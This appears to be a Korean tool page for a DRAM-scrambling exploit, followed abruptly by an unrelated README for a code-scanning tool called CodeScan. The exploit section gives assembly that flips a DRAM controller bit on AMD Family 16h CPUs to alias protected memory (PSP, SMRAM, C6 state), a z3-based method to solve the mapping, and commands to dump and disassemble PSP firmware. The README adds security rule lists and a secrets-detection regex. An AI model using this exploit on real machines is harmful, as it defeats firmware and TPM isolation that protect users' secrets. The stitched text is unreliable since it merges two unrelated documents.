업데이트로 돌아가기
UpdatedAug 31, 2026

skitter-creek-bath-salts — Updated!

DRAM 스크램블링으로 CPU의 _모든 것_ 잠금 해제

공유

skitter-creek-bath-salts

DRAM 스크램블링으로 CPU의 모든 것을 잠금 해제 — PSP, C6, 마이크로코드, SMM, 그리고 명세서가 빠뜨린 다른 모든 것.

&x == &x.

보통은.

Unspaghettifying DRAM

DRAM 컨트롤러를 건드리면 주소가 메모리 내 원하는 위치에 도달하도록 만들 수 있다. skitter-creek-bath-salts는 메모리 계층의 최하위 레이어를 수정하여 물리적 DRAM 주소 변환을 재배선한다. 이는 플랫폼 메모리를 스크램블하여 커널조차 볼 수 없는 DRAM의 보호된 영역 — carveout — 을 노출시킨다. 주소 변환이 깨지면 그 위에 구축된 보안 원시 요소들도 깨지고, 우리는 모든 것을 잠금 해제한다.


TL;DR


대상

AMD Family 16h CPU에서 개발 및 테스트되었으며, 이는 데이터시트에 DRAM 컨트롤러의 변환 레지스터가 문서화된 마지막 세대다 — 그리고 그것들이 잠길 수 없음을 보여준다. 17h 이후는 단순히 이 정보를 생략한다. *p의 오디세이는 세대와 아키텍처 전반에 걸쳐 유사하며, 그 기저의 변환은 ARM, RISC-V, 그 너머까지 확장된다; skitter-creek-bath-salts는 우리에게 시작하는 방법만을 보여준다.


*p의 오디세이

내려가는 길은 멀다.

메모리는 거의 부조리할 정도로 깊은 추상화 계층 위에 구축되어 있다. 코드가 *p를 역참조할 때, p의 DRAM에 접근하는 것처럼 보인다. 그렇지 않다 — p는 가상 주소이며, DRAM의 단 하나의 비트라도 건드리기 전에 아래의 관문을 통과해야 한다:``` ── CPU core / MMU ───────────────────────────────────────────────── ┌─ VA ← 64-bit virtual address from load/store │ └> canonical-form check ──────────────────────┐ ← bits [63:48] sign-extend from bit 47 ┌─ segment base add <─────────────────────────┘ ← FS.base / GS.base (MSR_FS_BASE, MSR_GS_BASE) │ └> TLB probe ─────────────────────────────────┐ ← tagged by PCID (host) / VPID (guest) hit → physical address k │ miss → engage hardware page walker │ ┌─ page walk (from CR3) <─────────────────────┘ ← walked only on TLB miss │ PML5[VA 56:48] ← only if CR4.LA57 │ PML4[VA 47:39] │ PDPT[VA 38:30] ← 1 GiB leaf possible │ PD [VA 29:21] ← 2 MiB leaf possible │ PT [VA 20:12] │ PTE ← R/W · U/S · NX · A/D · PAT · PCD · PWT · G │ └> per-level checks ──────────────────────────┐ ← evaluated at every level of the walk privilege (U/S) │ ← CPL vs PTE.U/S write (R/W) │ ← + CR0.WP execute (NX) │ ← EFER.NXE SMEP / SMAP │ ← CR4.SMEP · CR4.SMAP · EFLAGS.AC protection keys │ ← PKRU (user) · IA32_PKRS (supervisor) ┌─ A/D bit update <───────────────────────────┘ ← locked RMW on PTE │ └> if guest: EPT / NPT re-walk ───────────────┐ ← each guest-PA above re-walked EPT-PML4 → EPT-PDPT → EPT-PD → EPT-PT │ ← + EPT memory-type override ⇒ ~5× walks per single guest walk │ ┌─ TLB shootdown IPIs <───────────────────────┘ ← invlpg broadcast to peer vCPUs │ │ ── IOMMU (chipset / I/O fabric) ────────────────────────────────── │ └> if device-initiated, IOMMU page walk ──────┐ ← VT-d / AMD-Vi: device-ID → domain → tables │ ┌── physical address k <─────────────────┘ │ │ ── CPU core / MMU — memory-type resolution ──────────────────────── │ └> MTRR range match ──────────────────────────┐ ← IA32_MTRR_DEF_TYPE + fixed/variable MTRRs ┌─ PAT entry select <─────────────────────────┘ ← IA32_PAT[ PTE.PAT:PCD:PWT ] │ └> effective memory type ─────────────────────┐ ← { WB, WT, WC, WP, UC-, UC } │ ── CPU uncore — caches & coherence ──────────────────────────────── │ ┌─ L1-D probe <───────────────────────────────┘ ← VIPT, per-core │ └> L2 probe ──────────────────────────────────┐ ← per-core / per-CCX ┌─ LLC probe + directory consult <────────────┘ ← shared, sliced │ └> snoop / coherence ─────────────────────────┐ ← MESI / MOESI broadcast intra-socket │ ← broadcast to peer cores inter-socket │ ← QPI · UPI · Infinity Fabric · CXL.cache home-node directory response │ ← data | intervention | abort │ ── system data fabric / interconnect ────────────────────────────── │ ┌─ if MMIO range or sub-4 GiB MMIO hole <─────┘ ← uncore/data fabric posted/non-posted txn │ → device BAR; done │ └> else DRAM-bound: data fabric / mesh ───────┐ ← AMD DF · Intel mesh-or-ring uncore │ ┏━━ ── MCT / IMC (memory controller) ──────────────────────────────── W ┃ ┌─ DRAM hole remap <──────────────────────────┘ ← high-memory remap above TOM E ┃ │ ┃ └> memory-region exclusion remap ─────────────┐ ← reserved / protected ranges ┃ ┌─ channel interleave hash <──────────────────┘ ← XOR of selected PA bits → channel A ┃ │ R ┃ └> rank interleave hash ──────────────────────┐ ← XOR of selected PA bits → rank E ┃ ┌─ bank interleave hash <─────────────────────┘ ← XOR of selected PA bits → bank ┃ │ ┃ └> bank swizzle / XOR scramble ───────────────┐ ← vendor- and BIOS-configurable H ┃ ┌─ chip-select normalize (DCT) <──────────────┘ ← per-rank CS line E ┃ │ rank → CS map R ┃ │ E ┃ └> sub-channel select ────────────────────────┐ ← DDR5 / LPDDR5 only ┗━━ │ │ DRAM coordinates <─────────────────────────┘ ← bank group · bank · row (RAS) · column (CAS)

이 프로젝트는 `*p` 파이프라인의 가장 깊은 계층, 즉 MCT/DCT 계층에서 동작한다
— 데이터 패브릭/인터커넥트로부터의 물리 주소가 메모리
컨트롤러로 들어와 DIMM에 발행되는
최종 원시 DRAM 좌표로 마지막 한 번 재작성되는 지점이다.

---

## DRAM 스파게티화

> 물리 주소는 사실상 권고 사항에 가깝다.```nasm
xor dword [0xf80c2094], 0x00400000

그게 익스플로잇이다. 전부다.

DRAM 컨트롤러에서의 단 하나의 비트 플립이 *p 파이프라인의 하단을 재배선하고, &x에 있던 데이터는 이제 비행 중 어딘가 다른 곳에 있다. 갑자기 &x != &x가 된다. CPU, 펌웨어, uncore, 칩셋이 보호 메모리를 격리하기 위해 사용하는 모든 메커니즘은 메모리 컨트롤러 위에 위치하며, 그중 어느 것도 아래에서 벌어지는 일을 보지 못한다. 펜스는 물리 주소를 보호하지, DRAM 좌표를 보호하지 않는다; 좌표를 재배열하면 위쪽의 배리어들은 결코 알아차리지 못한다.

하지만 DRAM을 재배선하는 것은 쉽다. 위의 비트는 DCT의 뱅크-스위즐-모드이며, 이는 최종 계층에서 주소 재매핑을 제어하는 수십 개 중 하나에 불과하다 — 그것들을 찔러서 그 위에 구축된 모든 것을 무너뜨리기만 하면 된다. 그 다음 더 어려운 부분은 시스템 메모리 전체가 그 아래에서 뒤섞이는 동안 플랫폼을 계속 살려두는 것이다.

비결: 빨라야 하고, DRAM을 건드리지 않아야 한다. AP들을 비활성화하고, TLB를 프라이밍하고, 캐시를 데우고, 인터럽트를 비활성화하고, 타깃을 플러시하고, 메모리 접근을 직렬화하고, CPU가 다가올 명령어들을 프리페치했기를 바란다. 그런 다음 MCT/DCT를 재배선하여 DRAM을 스파게티로 만들고, 보호 영역에서 데이터를 가져오고, 매핑을 되돌리고, 다시 직렬화하고, 인터럽트를 활성화하고, AP들을 재개하면, 플랫폼은 정상으로 돌아온다.```nasm mov eax, [0xf80c2094] ; prime mmio TLB mov eax, [0x6f800000] ; prime target TLB pushf ; preserve flags cli ; interrupts off clflush [0x6f800000] ; evict the target, force the dram read mfence ; barrier - no coherent world dram access lfence ; reordered into spaghettified view xor dword [0xf80c2094], 1<<22 ; flip dct swizzle → spaghettify dram mov ebx, [0x6f800000] ; fetch target in spaghettified view xor dword [0xf80c2094], 1<<22 ; restore dct swizzle → unscramble mfence ; barrier - no spaghettified dram access lfence ; reordered into coherent world view popf ; interrupts back on

페이징, 캐시 상태, 스레딩, TLB를 신중하게 설정하면 주소 스크램블링이 C에서도 동작하도록 만들 수 있으며, 이를 통해 `*p` 파이프라인이 붕괴되는 모습과 갑자기 `&x != &x`가 될 때 플랫폼의 손상된 뷰를 보여줄 수 있다:

![&x manipulation](https://assets.kitploit.com/production/public/readmes/50084/22b2cf4272f032ae40edbca7d3b830af38cceea9d667e8f4ef39457354fce3b8.gif)

따라서 우리는 맵을 재배선하고 흔적 없이 복원할 수 있다. 남은 것은 우리가 그것을 무엇으로 재배선했는지 아는 것뿐이다.

---

## *모든 것*의 잠금 해제

> 플랫폼의 모든 보호된 메모리 영역에 계산기만으로 접근 가능.

위의 접근 방식을 사용하면 실행 중인 시스템에서 MCT/DCT 변환을 재프로그래밍할 수 있다 — `*p` 파이프라인의 최하위 단계를 재배열하여 그 위에 구축된 모든 보호 장치 아래에서 메모리를 스크램블하는 것이다.

하지만 문제가 있다: 간단한 `xor dword [0xf80c2094], 0x00400000`로 변환을 재프로그래밍할 수는 있지만, MCT/DCT가 어떤 새로운 변환을 사용할지는 전혀 알 수 없다 (데이터시트가 이 부분에서 불충분하게 명시되어 있다 — xor 맵이 틀렸고, MMIO 감산 단계는 순서가 없으며, 세부 사항은 모델마다 다르다). 이것 없이는 메모리가 스크램블되지만, 이를 재구성할 방법이 없다.

다행히도 DRAM 컨트롤러의 주소 변환은 GF(2) 선형 사상이므로, 기본 선형 대수학으로 스크램블된 메모리를 재구성할 수 있다.

먼저 정상적인 경우를 생각해 보자: 기본 MCT/DCT 구성의 순방향 변환이 어떤 물리적 주소에 적용되어 DRAM의 비밀 위치에 도달한다:```
    ┌                                 ┐   ┌   ┐     ┌   ┐
    │ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 1 0 0 1 0 0 1 0 0 0 0 0 0 0 │   │ 0 │     │ 1 │
    │ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │   │ 1 │     │ 1 │
    │ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │   │ 0 │     │ 1 │
    │ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │ · │ 1 │  =  │ 1 │
    │ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │   │ 1 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │   │ 0 │     │ 0 │
    └                                 ┘   └   ┘     └   ┘
                M_firmware               target     secret

이것은 메모리에 대한 일관된 관점이다: *p 파이프라인의 최하위 단계는 정확히 의도된 대로 동작한다.

이제 *p의 MCT/DCT 단계를 xor dword [0xf80c2094], 0x00400000로 재배선하면, 플랫폼은 뒤섞이거나 스파게티화된 메모리 관점으로 들어가며, 여기서 다른 변환이 별칭이 동일한 DRAM 비밀에 도달할 수 있게 한다:``` ┌ ┐ ┌ ┐ ┌ ┐ │ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │ │ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 1 0 0 1 0 0 1 0 0 │ │ 1 │ │ 0 │ │ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │ │ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │ │ 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 │ · │ 0 │ = │ 1 │ │ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │ │ 0 │ │ 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │ │ 0 │ │ 0 │ └ ┘ └ ┘ └ ┘ M_attacker alias secret

이 별칭을 사용하면 일관된 뷰를 위해 구축된 기존 플랫폼 잠금 및 방어를 우회하여 동일한 시크릿에 도달할 수 있습니다. 별칭을 찾으려면 공격/스파게티화된 해시의 역함수와 펌웨어/일관된 해시의 정방향을 합성하여, 악성 MCT/DCT 구성에서 모든 시크릿에 도달할 수 있는 변환을 얻습니다:```
    ┌                                 ┐   ┌                                 ┐   ┌   ┐     ┌   ┐
    │ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 0 1 0 0 1 0 0 1 0 0 0 0 0 0 0 │   │ 0 │     │ 1 │
    │ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │   │ 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 1 │
    │ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │   │ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │   │ 1 │     │ 1 │
    │ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │   │ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │   │ 0 │     │ 1 │
    │ 0 0 0 0 1 0 0 0 0 0 1 0 0 0 0 1 │ · │ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │ · │ 1 │  =  │ 0 │
    │ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │   │ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │   │ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │   │ 1 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │   │ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │   │ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │   │ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │   │ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │   │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │   │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │   │ 0 │     │ 0 │
    └                                 ┘   └                                 ┘   └   ┘     └   ┘
               M_attacker⁻¹                              M_firmware             target    alias

유일한 문제는 행렬이 알려져 있지 않다는 점이며, 이는 메모리가 실제로 어떻게 뒤섞여 있는지 전혀 알 수 없고, 애초에 비밀에 도달하기 위해 사용할 변환도 없다는 것을 의미한다:``` ┌ ┐ ┌ ┐ ┌ ┐ ┌ ┐ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 1 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ · │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ · │ 1 │ = │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 1 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │ └ ┘ └ ┘ └ ┘ └ ┘ M_attacker⁻¹ M_firmware target alias

다행히도 이 시점에서는 그저 선형대수일 뿐이며, 원한다면 변환을 손으로 풀 수도 있다. 아니면 계산기를 써도 된다.

우리는 [z3](https://github.com/z3prover/z3)를 사용한다. 먼저, SMT 솔버가 작업할 제약 조건이 필요하다.

일관된 뷰에서 시작하여, MCT/DCT를 수정해 스파게티화된 뷰로 전환하고, `0xdeadc0de` 같은 센티넬 값을 메모리의 임의 주소에 집어넣은 다음, 다시 일관된 뷰로 되돌리고, 센티넬이 다시 나타나는 위치를 메모리에서 훑는다. 이렇게 하면 (타깃, 별칭) 쌍이 얻어진다 — DRAM의 동일한 셀에 매핑되는 두 물리 주소를 보여주는 구체적인 데이터 포인트다. 이 과정을 반복하여 여러 데이터를 모으고, z3에 전달하면 두 뷰 사이를 변환하는 데 필요한 변환 행렬을 풀어낸다 — 한쪽의 임의의 일관된 뷰 물리 주소와 다른 쪽의 스파게티화된 뷰 별칭을 말이다:```
    ┌                                 ┐   ┌   ┐     ┌   ┐
    │ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 1 0 0 1 0 0 1 0 0 0 0 0 0 0 │   │ 0 │     │ 1 │
    │ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │   │ 0 │     │ 1 │
    │ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │   │ 1 │     │ 1 │
    │ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │   │ 0 │     │ 1 │
    │ 0 0 0 0 1 0 0 0 0 0 1 0 0 0 0 1 │ · │ 1 │  =  │ 0 │
    │ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │   │ 1 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │   │ 0 │     │ 0 │
    │ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │   │ 0 │     │ 0 │
    └                                 ┘   └   ┘     └   ┘
         M_attacker⁻¹ ∘ M_firmware        target    alias

z3에 별칭 쌍을 하나씩 공급하면 SMT 솔버가 메모리 스크램블링을 실시간으로 해독하는 모습을 볼 수 있습니다. 이는 오프닝 이미지에 나와 있습니다.

해결된 변환은 로제타석과 같습니다. 코히런트 뷰의 모든 대상 주소는 스파게티화된 뷰에서 동일한 DRAM에 도달하는 별칭으로 매핑됩니다. 보호된 메모리에 도달하려면 평소에는 건드릴 수 없는 주소 — PSP 프라이빗 메모리, SMRAM, C6 유휴 상태 — 를 가져와 변환을 통해 실행하여 별칭을 얻습니다. 그런 다음 xor dword [0xf80c2094], 0x00400000으로 DCT를 재배선하고, 별칭을 읽거나 쓰고, 두 번째 xor로 되돌립니다. *p 파이프라인을 통과하는 별칭의 경로는 플랫폼이 코히런트 뷰를 위해 구축한 펜스에 결코 부딪히지 않습니다 — DRAM의 모든 것에 대한 무제한 접근.

unlocking DRAM

결국, 그토록 조심스럽게 차단된 모든 것 — PSP 프라이빗 메모리, SMRAM, C6 유휴 상태, OS에서 접근 불가능하고, ring-0, 때로는 CPU 자체에서도 — 은 여전히 동일한 DRAM 커패시터에 자리 잡고 있습니다. 그러나 잠금 장치는 메모리의 코히런트 뷰를 중심으로 구축되었으며, 동일한 셀에 도달하는 스파게티화된 별칭에 대해서는 아무것도 하지 못합니다.

*p 파이프라인의 최종 레벨에서 비트 하나를 뒤집으면, 우리는 모든 것을 잠금 해제한 것입니다.


빠른 시작: 플랫폼 보안 프로세서 잠금 해제

PSP를 조작하고, 무슨 일이 일어나는지 확인하세요.

fTPM은 PSP 자체 ARM 코어에서 실행되며, 가시적인 메모리 상단 바로 너머의 DRAM 카브아웃에 있습니다. OS에 보이는 물리적 주소를 그곳에 별칭으로 매핑하여 도달하고, 바이트를 추출하고, 디스어셈블하세요.```sh

Bail out early on platforms this was never tested on.

./userspace/platform_check || exit 1

Resolve the PSP DRAM carveout — sets PSP_BASE / PSP_SIZE (0x7f800000 /

0x800000 on the test box). Swap 2x4gb for whichever data/maps/ prefix

matches your DIMMs; one --map per saved map.

eval "$(sudo ./userspace/dram_carveouts --region psp)" sudo ./userspace/dram_dump --protected-pa $PSP_BASE --length $PSP_SIZE
$(printf -- '--map %s ' data/maps/2x4gb_*.map) > psp.bin

The PSP is an ARM core, so disassemble as Thumb-2. Carve crAmd_ModExp

(0x64 bytes at PSP_BASE+0x19d4) straight out of the captured image.

objdump -b binary -m armv7 -M force-thumb --adjust-vma=$PSP_BASE
--start-address=$((PSP_BASE + 0x19d4))
--stop-address=$((PSP_BASE + 0x19d4 + 0x64))
-D psp.bin

## 주요 기능

- **다중 소스 수집**: GitHub, GitLab, Bitbucket, Gitea, 로컬 디렉터리, ZIP 아카이브, 개별 파일
- **다중 언어 지원**: Python, JavaScript, TypeScript, Java, Go, Ruby, PHP, C#, Rust, C/C++, Swift, Kotlin, Scala, Shell, PowerShell, SQL, HTML, CSS, YAML, JSON, XML, Terraform, Dockerfile, Makefile
- **보안 스캐닝**: 100개 이상의 내장 규칙으로 OWASP Top 10, CWE Top 25, 시크릿, 안티패턴 탐지
- **의존성 분석**: 취약점, 라이선스 준수, 오래된 패키지, 순환 의존성
- **코드 메트릭**: 복잡도, 유지보수성 지수, 중복, 코드 스멜
- **아키텍처 분석**: 계층 구조, 순환 의존성, 결합도 메트릭
- **다중 형식 보고서**: HTML, JSON, Markdown, SARIF, CSV, 텍스트
- **CI/CD 통합**: GitHub Actions, GitLab CI, Jenkins, 그리고 모든 CLI 기반 파이프라인
- **증분 스캐닝**: 캐싱을 통해 변경된 파일만 재스캔
- **병렬 처리**: 멀티스레드 및 멀티프로세스 실행
- **플러그인 시스템**: 사용자 정의 수집기, 분석기, 보고서 생성기

## 설치

### PyPI에서 설치

```bash
pip install codescan

소스에서 설치

git clone https://github.com/yourusername/codescan.git
cd codescan
pip install -e .

Docker 사용

docker pull codescan/codescan:latest
docker run -v /path/to/code:/code codescan/codescan:latest scan /code

빠른 시작

기본 스캔

# 로컬 디렉터리 스캔
codescan scan /path/to/project

# GitHub 저장소 스캔
codescan scan https://github.com/user/repo

# 특정 브랜치 스캔
codescan scan https://github.com/user/repo --branch develop

구성 파일

프로젝트 루트에 codescan.yaml 파일을 생성하세요:

version: "1.0"

sources:
  - type: local
    path: .
  - type: github
    url: https://github.com/user/repo
    branch: main

analyzers:
  security:
    enabled: true
    severity_threshold: medium
    rules:
      - sql-injection
      - xss
      - hardcoded-secrets
  dependencies:
    enabled: true
    check_vulnerabilities: true
    check_licenses: true
  metrics:
    enabled: true
    complexity_threshold: 15

reporters:
  - type: html
    output: reports/scan-report.html
  - type: sarif
    output: reports/scan-results.sarif
  - type: json
    output: reports/scan-results.json

exclude:
  - "**/node_modules/**"
  - "**/vendor/**"
  - "**/.git/**"
  - "**/test/**"
  - "**/*.min.js"

CLI 사용법

# 구성 파일을 사용하여 스캔
codescan scan --config codescan.yaml

# 특정 분석기만 실행
codescan scan /path/to/project --analyzers security,dependencies

# 출력 형식 지정
codescan scan /path/to/project --format sarif --output results.sarif

# 심각도별 필터링
codescan scan /path/to/project --severity high,critical

# 병렬 처리
codescan scan /path/to/project --workers 8

# 증분 스캔
codescan scan /path/to/project --incremental --cache-dir .codescan-cache

구성

소스

유형설명필수 필드
local로컬 디렉터리 또는 파일path
githubGitHub 저장소url
gitlabGitLab 저장소url
bitbucketBitbucket 저장소url
giteaGitea 저장소url
zipZIP 아카이브path

분석기

보안 분석기

analyzers:
  security:
    enabled: true
    severity_threshold: low  # low, medium, high, critical
    rules:
      - sql-injection
      - xss
      - csrf
      - hardcoded-secrets
      - insecure-crypto
      - path-traversal
      - command-injection
      - xxe
      - ssrf
      - insecure-deserialization
    custom_rules:
      - path: rules/custom-rules.yaml

의존성 분석기

analyzers:
  dependencies:
    enabled: true
    check_vulnerabilities: true
    check_licenses: true
    check_outdated: true
    allowed_licenses:
      - MIT
      - Apache-2.0
      - BSD-3-Clause
    denied_licenses:
      - GPL-3.0
      - AGPL-3.0

메트릭 분석기

analyzers:
  metrics:
    enabled: true
    complexity_threshold: 15
    maintainability_threshold: 20
    duplication_threshold: 5
    file_length_threshold: 500
    function_length_threshold: 50

보고서 생성기

유형설명사용 사례
html대화형 HTML 보고서인간이 읽을 수 있는 보고서
json구조화된 JSON 출력프로그래밍 방식 처리
markdownMarkdown 보고서문서화, PR 댓글
sarifSARIF 형식GitHub 코드 스캐닝, IDE 통합
csvCSV 내보내기스프레드시트 분석
text일반 텍스트터미널 출력, 로그

보안 규칙

내장 규칙

CodeScan에는 100개 이상의 내장 보안 규칙이 포함되어 있습니다:

  • 인젝션: SQL 인젝션, 명령어 인젝션, LDAP 인젝션, XPath 인젝션
  • XSS: 반사형 XSS, 저장형 XSS, DOM 기반 XSS
  • 인증: 취약한 비밀번호, 하드코딩된 자격 증명, 취약한 세션 관리
  • 암호화: 취약한 해시, 하드코딩된 키, 약한 암호화
  • 데이터 노출: 민감한 데이터 로깅, 안전하지 않은 저장
  • 구성: 디버그 모드, 안전하지 않은 기본값, 누락된 보안 헤더

사용자 정의 규칙

rules/custom-rules.yaml에 사용자 정의 규칙을 정의하세요:

rules:
  - id: custom-001
    name: "하드코딩된 API 키"
    description: "소스 코드에 하드코딩된 API 키를 탐지합니다"
    severity: high
    pattern: "(?i)(api[_-]?key|apikey)\\s*[=:]\\s*['\"][a-zA-Z0-9]{16,}['\"]"
    languages:
      - python
      - javascript
      - java
